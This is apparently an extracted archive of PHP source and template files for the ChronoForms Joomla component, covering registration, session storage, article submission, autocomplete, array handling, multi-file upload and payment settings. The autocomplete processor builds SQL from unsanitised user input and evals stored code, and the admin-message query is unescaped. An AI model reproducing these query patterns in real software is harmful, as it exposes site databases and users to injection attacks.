return false; } // Set some initial user values $user->set('id', 0); $user->set('usertype', 'deprecated'); $user->set('groups', $defaultUserGroup); $date = JFactory::getDate(); $user->set('registerDate', $date->toMySQL()); // If user activation is turned on, we need to set the activation information $useractivation = $params->get('useractivation', $usersConfig->get('useractivation')); if (($useractivation == 1) || ($useractivation == 2)) { jimport('joomla.user.helper'); $user->set('activation', JUtility::getHash(JUserHelper::genRandomPassword())); $user->set('block', '1'); } // If there was an error with registration, set the message and display form if(!$user->save()){ /*JError::raiseWarning('', JText::_( $user->getError())); $this->register();*/ $this->events['fail'] = 1; $form->validation_errors[] = $user->getError(); $form->debug[] = "Couldn't save new user, Joomla returned this error : ".$user->getError(); return false; }else{ $this->events['success'] = 1; } //store user data $user_data = (array)$user; $removes = array('params', '_params', 'guest', '_errorMsg', '_errors'); foreach($removes as $remove){ unset($user_data[$remove]); } $form->data['_PLUGINS_']['joomla_registration'] = $user_data; //inject user data under the correct data path if(strlen(trim($params->get('user_data_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('user_data_path', ''))), $user_data); } //CB support if((bool)$params->get('enable_cb_support', 0) === true){ /********************CB part*************************/ $database = JFactory::getDBO(); $database->setQuery( "SELECT * FROM #__comprofiler_fields WHERE `table`='#__comprofiler' AND name <>'NA' AND registration = '1'" ); $fields = $database->loadObjectList(); $default_fields_names = array('id', 'user_id'); $default_fields_values = array($user_data['id'], $user_data['id']); foreach($fields as $field){ $default_fields_names[] = $field->name; $fieldname = $field->name; $default_fields_values[] = $form->data[$fieldname]; } $database->setQuery( "INSERT INTO #__comprofiler (".implode(",", $default_fields_names).") VALUES ('".implode("','", $form->escapeVar($default_fields_values))."');" ); if (!$database->query()) { JError::raiseWarning(100, $database->getErrorMsg()); } /**********************************************/ } // Send registration confirmation mail $password = $form->data['password'];//JRequest::getString('password', '', 'post', JREQUEST_ALLOWRAW); $password = preg_replace('/[\x00-\x1F\x7F]/', '', $password); //Disallow control chars in the email if((int)$params->get('send_joo_activation', 0) == 1){ $this->_sendMail($user, $password); } // Everything went fine, set relevant message depending upon user activation state and display message if((int)$useractivation == 2){ $message = JText::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY'); }else if((int)$useractivation == 1){ $message = JText::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE'); }else{ $message = JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS'); } if($params->get('display_reg_complete', 0) == 1){ echo $message; } if((int)$params->get('auto_login', 0) == 1){ $credentials = array(); $credentials['username'] = $form->data['username']; $credentials['password'] = $form->data['password']; $mainframe->login($credentials); } } function _sendMail(&$user, $password) { $mainframe = JFactory::getApplication(); $db = JFactory::getDBO(); $name = $user->get('name'); $email = $user->get('email'); $username = $user->get('username'); $usersConfig = &JComponentHelper::getParams( 'com_users' ); $sitename = $mainframe->getCfg( 'sitename' ); $useractivation = $usersConfig->get( 'useractivation' ); $mailfrom = $mainframe->getCfg( 'mailfrom' ); $fromname = $mainframe->getCfg( 'fromname' ); $siteURL = JURI::base(); $config = JFactory::getConfig(); // Compile the notification mail values. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); // Handle account activation/confirmation emails. if ($useractivation == 2) { // Set the link to confirm the user email. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_(trim($this->params->get('activation_link', '')).'&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['siteurl'].trim($this->params->get('activation_link', '')).'&token='.$data['activation'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else if ($useractivation == 1) { // Set the link to activate the user account. $uri = JURI::getInstance(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_(trim($this->params->get('activation_link', '')).'&token='.$data['activation'], false); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY', $data['name'], $data['sitename'], $data['siteurl'].trim($this->params->get('activation_link', '')).'&token='.$data['activation'], $data['siteurl'], $data['username'], $data['password_clear'] ); } else { $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACCOUNT_DETAILS', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_REGISTERED_BODY', $data['name'], $data['sitename'], $data['siteurl'] ); } // Send the registration email. $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { JError::raiseNotice(100, JText::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED')); // Send a system message to administrators receiving system mails $db = JFactory::getDBO(); $q = "SELECT id FROM #__users WHERE block = 0 AND sendEmail = 1"; $db->setQuery($q); $sendEmail = $db->loadResultArray(); if (count($sendEmail) > 0) { $jdate = new JDate(); // Build the query to add the messages $q = "INSERT INTO `#__messages` (`user_id_from`, `user_id_to`, `date_time`, `subject`, `message`) VALUES "; $messages = array(); foreach ($sendEmail as $userid) { $messages[] = "(".$userid.", ".$userid.", '".$jdate->toMySQL()."', '".JText::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT')."', '".JText::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $return, $data['username'])."')"; } $q .= implode(',', $messages); $db->setQuery($q); $db->query(); } return false; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'name' => '', 'username' => '', 'email' => '', 'password' => '', 'password2' => '', 'override_allow_user_registration' => 1, 'new_usertype' => 'Registered', 'useractivation' => 1, 'activation_link' => '', 'random_password' => 0, 'auto_login' => 0, 'send_joo_activation' => 0, 'enable_cb_support' => 0, 'user_data_path' => '', 'display_reg_complete' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\ Fcomponents/com_chronoforms/form_actions/joomla_registration/index.htmlnuW+A PK@y>\)Acomponents/com_chronoforms/form_actions/data_to_session/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Bcomponents/com_chronoforms/form_actions/data_to_session/index.htmlnuW+A PK@y>\ӳ!Kcomponents/com_chronoforms/form_actions/data_to_session/data_to_session.ctpnuW+A
      Data To Session
      input('action_data_to_session_{n}_namespace_config', array('type' => 'text', 'label' => 'Session Namespace', 'class' => 'medium_input', 'smalldesc' => 'The name space to load this session data from, may be useful if you have multiple data instances of the same form loaded in different session namespaces, leave empty if you dont know what is this.')); ?> input('action_data_to_session_{n}_key_config', array('type' => 'text', 'label' => 'Session Key', 'class' => 'medium_input', 'smalldesc' => 'Leave empty to set the key using the form name, but if you want to exchange data between multiple forms then you will need to set this to some constant.')); ?> input('action_data_to_session_{n}_merge_config', array('type' => 'select', 'label' => 'Merge data', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Merge similar key data if the same key was found at the session ? if no then data will be overwritten.')); ?>
      PK@y>\nnKcomponents/com_chronoforms/form_actions/data_to_session/data_to_session.phpnuW+A 'data_operations', 'title' => 'Data/DB Operations'); var $details = array('title' => 'Data To Session', 'tooltip' => 'Save form data array into session.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $session_ns = $params->get('namespace', ''); $session_key = $params->get('key', ''); if(empty($session_key)){ $session_key = $form->form_details->name; } if(empty($session_ns)){ $session_ns = 'default'; } if($session->has('_chronoform_data_'.$session_key, $session_ns)){ $stored = $session->get('_chronoform_data_'.$session_key, array(), $session_ns); if(!empty($stored) && is_array($stored) && (int)$params->get('merge', 0) == 1){ $session->set('_chronoform_data_'.$session_key, array_merge($stored, $form->data), $session_ns); }else{ $session->set('_chronoform_data_'.$session_key, $form->data, $session_ns); } }else{ $session->set('_chronoform_data_'.$session_key, $form->data, $session_ns); } } function load($clear){ if($clear){ $action_params = array( 'namespace' => '', 'key' => '', 'merge' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\XBIcomponents/com_chronoforms/form_actions/submit_article/submit_article.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $details = array('title' => 'Submit Article', 'tooltip' => 'Create a new Joomla article using your form.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //save the data to db $db_save_details = $actiondata; $db_save_details->type = 'db_save'; //create params $db_save_details_params = new JParameter(''); $db_save_details_params->set('table_name', $mainframe->getCfg('dbprefix').'content'); $db_save_details_params->set('model_id', 'Article'); $db_save_details->params = $db_save_details_params->toString(); //set data $user = JFactory::getUser(); $form->data['created_by'] = $user->id; $form->data['created'] = date("Y-m-d H:i:s"); $form->data['catid'] = $params->get('catid', ''); $form->data['sectionid'] = $params->get('sectionid', 0); $form->data['state'] = $params->get('state', 0); $form->data['title'] = $form->data[$params->get('title', '')]; $form->data['fulltext'] = $form->data[$params->get('fulltext', '')]; $form->data['introtext'] = isset($form->data[$params->get('introtext', '')]) ? $form->data[$params->get('introtext', '')] : ''; $form->data['created_by_alias'] = $form->data[$params->get('created_by_alias', '')]; $form->data['language'] = '*'; //alias $form->data['alias'] = JFilterOutput::stringURLSafe($form->data['title']); $form->data['id'] = null; //$form->data['alias'] = null; $form->runAction($db_save_details); } function load($clear){ if($clear){ $action_params = array( 'title' => '', 'fulltext' => '', 'introtext' => '', 'created_by_alias' => '', 'state' => 0, 'catid' => 0, 'sectionid' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\ Acomponents/com_chronoforms/form_actions/submit_article/index.htmlnuW+A PK@y>\)@components/com_chronoforms/form_actions/submit_article/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bnIcomponents/com_chronoforms/form_actions/submit_article/submit_article.ctpnuW+A
      Submit Article
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'submit_article_config_{n}'); ?> tabStart('fields'); ?> input('action_submit_article_{n}_title_config', array('type' => 'text', 'label' => "Article Title Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's title.")); ?> input('action_submit_article_{n}_fulltext_config', array('type' => 'text', 'label' => "Full Text Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's full text.")); ?> input('action_submit_article_{n}_introtext_config', array('type' => 'text', 'label' => "Intro Text Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the article's intro text.")); ?> input('action_submit_article_{n}_created_by_alias_config', array('type' => 'text', 'label' => "Author Alias Field", 'class' => 'medium_input', 'smalldesc' => "The field name which will hold the Author's alias name.")); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_submit_article_{n}_state_config', array('type' => 'select', 'label' => 'Published ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'If enabled it will set the article status to published.')); ?> setQuery($query); $options = array(); $cats = $database->loadObjectList(); foreach($cats as $cat){ $options[$cat->id] = $cat->title; } ?> input('action_submit_article_{n}_catid_config', array('type' => 'select', 'label' => 'Category', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "Select the article's category.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will Save a new article to the content table in your Joomla database.

      tabEnd(); ?>
      PK@y>\ Icomponents/com_chronoforms/form_actions/autocomplete_processor/index.htmlnuW+A PK@y>\;A%%Ycomponents/com_chronoforms/form_actions/autocomplete_processor/autocomplete_processor.ctpnuW+A
      Autocomplete Processor
      Header(array('settings' => 'Settings', 'other' => 'Other', 'help' => 'Help'), 'autocomplete_processor_config_{n}'); ?> tabStart('settings'); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('action_autocomplete_processor_{n}_table_name_config', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The table name to load the data from.")); ?> input('action_autocomplete_processor_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'smalldesc' => 'The name of the field which will be sent and its value will be queried against the table.')); ?> input('action_autocomplete_processor_{n}_column_name_config', array('type' => 'text', 'label' => "Column name(s)", 'class' => 'medium_input', 'smalldesc' => 'The column name which will be searched for the data (should exist in the table selected above), you may enter more than 1 separated by comma and all of them will be searched.')); ?> input('action_autocomplete_processor_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You can place PHP code(with tags) here to override the results, check the help tab for how to.')); ?> tabEnd(); ?> tabStart('other'); ?> input('action_autocomplete_processor_{n}_minLength_config', array('type' => 'text', 'label' => "Minimum length", 'smalldesc' => 'Minimum number of characters before a request is initiated.')); ?> input('action_autocomplete_processor_{n}_maxChoices_config', array('type' => 'text', 'label' => "Max choice", 'smalldesc' => 'Maximum number of choices to load.')); ?> input('action_autocomplete_processor_{n}_maxLength_config', array('type' => 'text', 'label' => "Max Length", 'smalldesc' => 'Maximum number for the string length.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Fill the necessary fields and select your table, make sure that the field name matches the same field on the Autocomplete loader action.
      • The column name is one of your selected table's columns.
      • The code box can override the results loaded:
        $form->data['_PLUGINS_']['autocomplete_processor']['data'] will hold the whole data association loaded from the database.
        $form->data['_PLUGINS_']['autocomplete_processor']['result'] will hold the final 1 dimension array results which will be sent to the view.
        You can use both variables to filter and/or add your own results.
      • This action requires PHP5.

      tabEnd(); ?>
      PK@y>\)Hcomponents/com_chronoforms/form_actions/autocomplete_processor/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Ĵ Ycomponents/com_chronoforms/form_actions/autocomplete_processor/autocomplete_processor.phpnuW+A 'Autocomplete Processor', 'tooltip' => 'Process the auto complete request for some field and send back the results.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'table_name' => '', 'field_name' => '', 'minLength' => 3, 'maxChoices' => 10, 'maxLength' => 50, 'content1' => '', 'column_name' => '' ); } return array('action_params' => $action_params); } function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //settings, vars $min = $params->get('minLength', 3); $max = $params->get('maxLength', 50); $choices = $params->get('maxChoices', 10); $search = (string)$form->get_array_value($form->data, explode('.', $params->get('field_name', 'search'))); $result = array(); //quick validation if(strlen($search) >= $min && strlen($search) <= $max && $params->get('table_name', '') && $params->get('column_name', '')){ $database = JFactory::getDBO(); if(strpos($params->get('column_name', ''), ",") !== false){ $fields = explode(",", $params->get('column_name', '')); $where = array(); foreach($fields as $field){ $where[] = "`".trim($field)."` LIKE '%".$search."%'"; } $where = implode(" OR ", $where); }else{ $fields = array($params->get('column_name', '')); $where = "`".$params->get('column_name', '')."` LIKE '%".$search."%'"; } //echo "SELECT DISTINCT * FROM `".$params->get('table_name', '')."` WHERE ".$where." LIMIT ".$choices; $database->setQuery("SELECT DISTINCT ".$params->get('column_name', '*')." FROM `".$params->get('table_name', '')."` WHERE ".$where." LIMIT ".$choices); $data = $database->loadAssocList(); if(!is_array($data)){ $form->data['_PLUGINS_']['autocomplete_processor']['data'] = $form->data['_PLUGINS_']['autocomplete_processor']['result'] = $result = $data = array(); }else{ $form->data['_PLUGINS_']['autocomplete_processor']['data'] = $data; foreach($fields as $field){ foreach($data as $elem){ $result[] = $elem[$field]; } } $form->data['_PLUGINS_']['autocomplete_processor']['result'] = $result; } //allow custom data control $custom = $actiondata->content1; eval('?>'.$custom); //sleep(4); // delay if you want //push the JSON out header('Content-type: application/json'); echo json_encode($form->data['_PLUGINS_']['autocomplete_processor']['result']); $mainframe->close(); }else{ $form->data['_PLUGINS_']['autocomplete_processor']['result'] = array(); //push the JSON out header('Content-type: application/json'); echo json_encode($form->data['_PLUGINS_']['autocomplete_processor']['result']); $mainframe->close(); } } } ?>PK@y>\)?components/com_chronoforms/form_actions/handle_arrays/.htaccessnuW+A Order allow,deny Deny from all PK@y>\*]``Gcomponents/com_chronoforms/form_actions/handle_arrays/handle_arrays.ctpnuW+A
      Handle Arrays
      input('action_handle_arrays_{n}_delimiter_config', array('type' => 'text', 'label' => "Delimiter", 'class' => 'small_input', 'smalldesc' => 'The delimiter which will be used to concatenate the array values.')); ?> input('action_handle_arrays_{n}_skipped_config', array('type' => 'text', 'label' => "Skipped fields names", 'class' => 'medium_input', 'smalldesc' => 'Any fields names to be skipped from the concatenation process ? use comma delimited list:
      field1,field4')); ?> input('action_handle_arrays_{n}_fields_list_config', array('type' => 'text', 'label' => "White fields list", 'class' => 'medium_input', 'smalldesc' => 'Only fields in this list will be handled, you can use fields names with dots (sub arrays).')); ?>
      PK@y>\ @components/com_chronoforms/form_actions/handle_arrays/index.htmlnuW+A PK@y>\ׯ Gcomponents/com_chronoforms/form_actions/handle_arrays/handle_arrays.phpnuW+A 'Handle Arrays', 'tooltip' => 'Concatenate any array values using some delimiter.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $skipped = $params->get('skipped', ''); if(!empty($skipped)){ $skipped = explode(',', $skipped); }else{ $skipped = array(); } $del = $params->get('delimiter', ","); //handle specific fields only ? if(strlen($params->get('fields_list', ''))){ $fields_list = explode(',', $params->get('fields_list', '')); foreach($fields_list as $field){ $field = trim($field); //get field value $field_value = $form->get_array_value($form->data, explode('.', $field)); if(is_array($field_value)){ $form->data = $form->set_array_value($form->data, explode('.', $field), implode($del, $field_value)); } } }else{ $form->data = $this->array_handler($form->data, $skipped, $del); } } function array_handler($data = array(), $skipped = array(), $del = ","){ foreach($data as $name => $value){ if(is_array($value) && !in_array($name, $skipped)){ $value = $this->array_handler($value, $skipped, $del); $data[$name] = implode($del, $value); } } return $data; } function load($clear){ if($clear){ $action_params = array( 'delimiter' => ",", 'fields_list' => '', 'skipped' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\)Ecomponents/com_chronoforms/form_actions/widget_multi_upload/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Fcomponents/com_chronoforms/form_actions/widget_multi_upload/index.htmlnuW+A PK@y>\MQQScomponents/com_chronoforms/form_actions/widget_multi_upload/widget_multi_upload.phpnuW+A 'widgets_processors', 'title' => 'Widgets Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Multi Upload', 'tooltip' => 'Processes the files sent using the Multi Upload Widget.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(trim($params->get('fields', ''))){ jimport('joomla.utilities.error'); jimport('joomla.filesystem.file'); //get upload path $upload_path = $params->get('upload_path'); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $fields = explode(',', trim($params->get('fields', ''))); $array_fields = $fields; foreach($array_fields as $k => $v){ $first = explode(':', $v); $array_fields[$k] = $first[0]; } //Try to generate an auto file link $site_link = JURI::Base(); if(substr($site_link, -1) == "/"){ $site_link = substr_replace($site_link, '', -1); } //check if there are some checkboxes old fields foreach($array_fields as $k => $field){ if(!empty($form->data[$field]) && is_array($form->data[$field])){ //cut any extra files over the limit if(strlen(trim($params->get('limit', ''))) > 0 && is_numeric(trim($params->get('limit', '')))){ $limit = (int)trim($params->get('limit', '')); if(count($form->data[$field]) > $limit){ $this->events['fail'] = 1; $form->validation_errors[$field] = "You have exceeded the maximum number of allowed files."; return false; } } foreach($form->data[$field] as $kk => $file_real_name){ if(file_exists($upload_path.DS.$file_real_name)){ //$file_info = pathinfo($upload_path.DS.$file_real_name); $form->files[$field][$kk]['size'] = filesize($upload_path.DS.$file_real_name); $form->files[$field][$kk]['path'] = $upload_path.$file_real_name; if(!empty($form->data['cf_file_orig_name_'.$field][$kk])){ $form->files[$field][$kk]['original_name'] = $form->data['cf_file_orig_name_'.$field][$kk]; } if(!empty($form->data['cf_file_id_'.$field][$kk])){ $form->files[$field][$kk]['file_id'] = $form->data['cf_file_id_'.$field][$kk]; } $form->files[$field][$kk]['name'] = $file_real_name; $form->files[$field][$kk]['link'] = str_replace(array(JPATH_SITE, DS), array($site_link, "/"), $upload_path.$file_real_name); //set extra paths if(strlen(trim($params->get('target_path_name', ''))) > 0){ $form->files[$field][$kk][trim($params->get('target_path_name', ''))] = $form->files[$field][$kk]['name']; } if((strlen(trim($params->get('target_path_original_name', ''))) > 0) && !empty($form->files[$field][$kk]['original_name'])){ $form->files[$field][$kk][trim($params->get('target_path_original_name', ''))] = $form->files[$field][$kk]['original_name']; } if((strlen(trim($params->get('target_path_id', ''))) > 0) && !empty($form->files[$field][$kk]['file_id'])){ $form->files[$field][$kk][trim($params->get('target_path_id', ''))] = $form->files[$field][$kk]['file_id']; } } } //set target path if enabled if(strlen(trim($params->get('target_path', ''))) > 0){ $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); } } } //process the new uploaded files $upload_files_details = $form->createAction('upload_files', array( 'upload_path' => $upload_path, 'files' => $params->get('fields', ''), 'array_fields' => implode(',', $array_fields), 'max_size' => $params->get('max_size', 1000), )); $form->runAction($upload_files_details); //cut any extra files over the limit if(strlen(trim($params->get('limit', ''))) > 0 && is_numeric(trim($params->get('limit', '')))){ $limit = (int)trim($params->get('limit', '')); foreach($array_fields as $k => $field){ if(count($form->files[$field]) >= $limit){ $form->files[$field] = array_slice($form->files[$field], 0, $limit); $form->data[$field] = array_slice($form->data[$field], 0, $limit); } } } if($form->last_action_result === false){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; //set target path if enabled if(strlen(trim($params->get('target_path', ''))) > 0){ foreach($array_fields as $k => $field){ //$form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); foreach($form->files[$field] as $f => $file){ if(strlen(trim($params->get('target_path_name', ''))) > 0){ $form->files[$field][$f][trim($params->get('target_path_name', ''))] = $file['name']; } if((strlen(trim($params->get('target_path_original_name', ''))) > 0) && !empty($file['original_name'])){ $form->files[$field][$f][trim($params->get('target_path_original_name', ''))] = $file['original_name']; } if((strlen(trim($params->get('target_path_id', ''))) > 0) && !empty($file['file_id'])){ $form->files[$field][$f][trim($params->get('target_path_id', ''))] = $file['file_id']; } $form->data = $form->set_array_value($form->data, explode('.', trim($params->get('target_path', ''))), $form->files[$field]); } } } } } } function load($clear){ if($clear){ $action_params = array( 'fields' => '', 'limit' => 3, 'max_size' => 1000, 'upload_path' => '', 'target_path' => '', 'target_path_name' => '', 'target_path_original_name' => '', 'target_path_id' => '', ); } return array('action_params' => $action_params); } } ?>PK@y>\>?SScomponents/com_chronoforms/form_actions/widget_multi_upload/widget_multi_upload.ctpnuW+A
      Multi Upload
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'widget_multi_upload_config_{n}'); ?> tabStart('settings'); ?> input('action_widget_multi_upload_{n}_fields_config', array('type' => 'text', 'label' => "Fields Configuration", 'class' => 'medium_input', 'smalldesc' => 'The fields configuration in this format:field_name:extensions,e.g:field1:zip-pdf')); ?> input('action_widget_multi_upload_{n}_limit_config', array('type' => 'text', 'label' => "Maximum Limit", 'smalldesc' => 'Maximum number of files accepted through the widget.')); ?> input('action_widget_multi_upload_{n}_max_size_config', array('type' => 'text', 'label' => "Max Size", 'smalldesc' => 'Maximum accepted file size in KB.')); ?> input('action_widget_multi_upload_{n}_upload_path_config', array('type' => 'text', 'label' => "Upload Path", 'class' => 'big_input', 'smalldesc' => 'Absolute path for files uploaded, leave empty to use the default uploads folder.')); ?> input('action_widget_multi_upload_{n}_target_path_config', array('type' => 'text', 'label' => "Target Data Path", 'smalldesc' => 'The data array key under which the files data will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_name_config', array('type' => 'text', 'label' => "File Name", 'smalldesc' => 'The data array key under which the file name will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_original_name_config', array('type' => 'text', 'label' => "Original File Name", 'smalldesc' => 'The data array key under which the file original name will be stored after submission.')); ?> input('action_widget_multi_upload_{n}_target_path_id_config', array('type' => 'text', 'label' => "File ID", 'smalldesc' => 'The data array key under which the file id will be stored after submission.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Don't forget to set your form method to "File" under the form "Edit" screen.

      tabEnd(); ?>
      PK@y>\ġ?components/com_chronoforms/form_actions/show_form/show_form.phpnuW+A 'form_utilities', 'title' => 'Utilities'); //var $events = array('confirm' => 0, 'back' => 0); var $details = array('title' => 'Show Form', 'tooltip' => 'Displays a different form.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); //get the form name $formname = $params->get('form_name', ''); if(!empty($formname)){ $method = $params->get('action_taken', ''); //get the event to load $event = $params->get('form_event', 'load'); if(!trim($event)){ $event = 'load'; } //switch the showing method if($method == 'load'){ $MyForm = CFChronoForm::getInstance($formname); $MyForm->process($event); HTML_ChronoForms::processView($MyForm); }else{ $mainframe = JFactory::getApplication(); $form_url = "index.php?option=com_chronoforms&chronoform=".$formname."&event=".$event; $mainframe->redirect($form_url); } } } function load($clear){ if($clear){ $action_params = array( 'action_taken' => 'load', 'form_name' => '', 'form_event' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\r r ?components/com_chronoforms/form_actions/show_form/show_form.ctpnuW+A
      Show Form
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_form_config_{n}'); ?> tabStart('settings'); ?> input('action_show_form_{n}_action_taken_config', array('type' => 'select', 'label' => 'Action', 'options' => array('load' => 'Load Form', 'redirect' => 'Redirect to Form'), 'smalldesc' => 'How the other form will be loaded ?
      1- the form will just be loaded (shown) at the currect page.
      2- the page will be redirected to the url of the other form.')); ?> input('action_show_form_{n}_form_name_config', array('type' => 'text', 'label' => "Form Name", 'class' => 'medium_input', 'smalldesc' => 'The name of the form to load.')); ?> input('action_show_form_{n}_form_event_config', array('type' => 'text', 'label' => "Form Event", 'class' => 'medium_input', 'smalldesc' => 'The loaded form event which will be executed.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select how the form will be shown.
      • Write the name of the form to be loaded.
      • Write the form event to be executed when the form is loaded, e.g: "load" OR "submit", if left empty then the "load" event will be used.

      tabEnd(); ?>
      PK@y>\ <components/com_chronoforms/form_actions/show_form/index.htmlnuW+A PK@y>\);components/com_chronoforms/form_actions/show_form/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)?components/com_chronoforms/form_actions/authorize_net/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@components/com_chronoforms/form_actions/authorize_net/index.htmlnuW+APK@y>\J))Gcomponents/com_chronoforms/form_actions/authorize_net/authorize_net.ctpnuW+A
      Authorize.net - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), 'authorize_net_config_{n}'); ?> tabStart('fields'); ?> input('action_authorize_net_{n}_x_card_num_config', array('type' => 'text', 'label' => "Card's number field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_exp_date_m_config', array('type' => 'text', 'label' => "Card's expiry month field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_exp_date_y_config', array('type' => 'text', 'label' => "Card's expiry year field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_description_config', array('type' => 'text', 'label' => "Transaction description field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_amount_config', array('type' => 'text', 'label' => "Customer's amount field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_first_name_config', array('type' => 'text', 'label' => "Customer's first name field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_last_name_config', array('type' => 'text', 'label' => "Customer's last name field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_address_config', array('type' => 'text', 'label' => "Customer's address field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_city_config', array('type' => 'text', 'label' => "Customer's city field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_state_config', array('type' => 'text', 'label' => "Customer's state field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_zip_config', array('type' => 'text', 'label' => "Customer's zip code field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_country_config', array('type' => 'text', 'label' => "Customer's country field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_phone_config', array('type' => 'text', 'label' => "Customer's phone field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_email_config', array('type' => 'text', 'label' => "Customer's email field", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_x_invoice_num_config', array('type' => 'text', 'label' => 'Invoice # field', 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_authorize_net_{n}_loginid_config', array('type' => 'text', 'label' => "API Login ID", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_transkey_config', array('type' => 'text', 'label' => "Transaction Key", 'class' => 'medium_input', 'value' => '')); ?> input('action_authorize_net_{n}_debugging_config', array('type' => 'select', 'label' => 'Debugging', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> 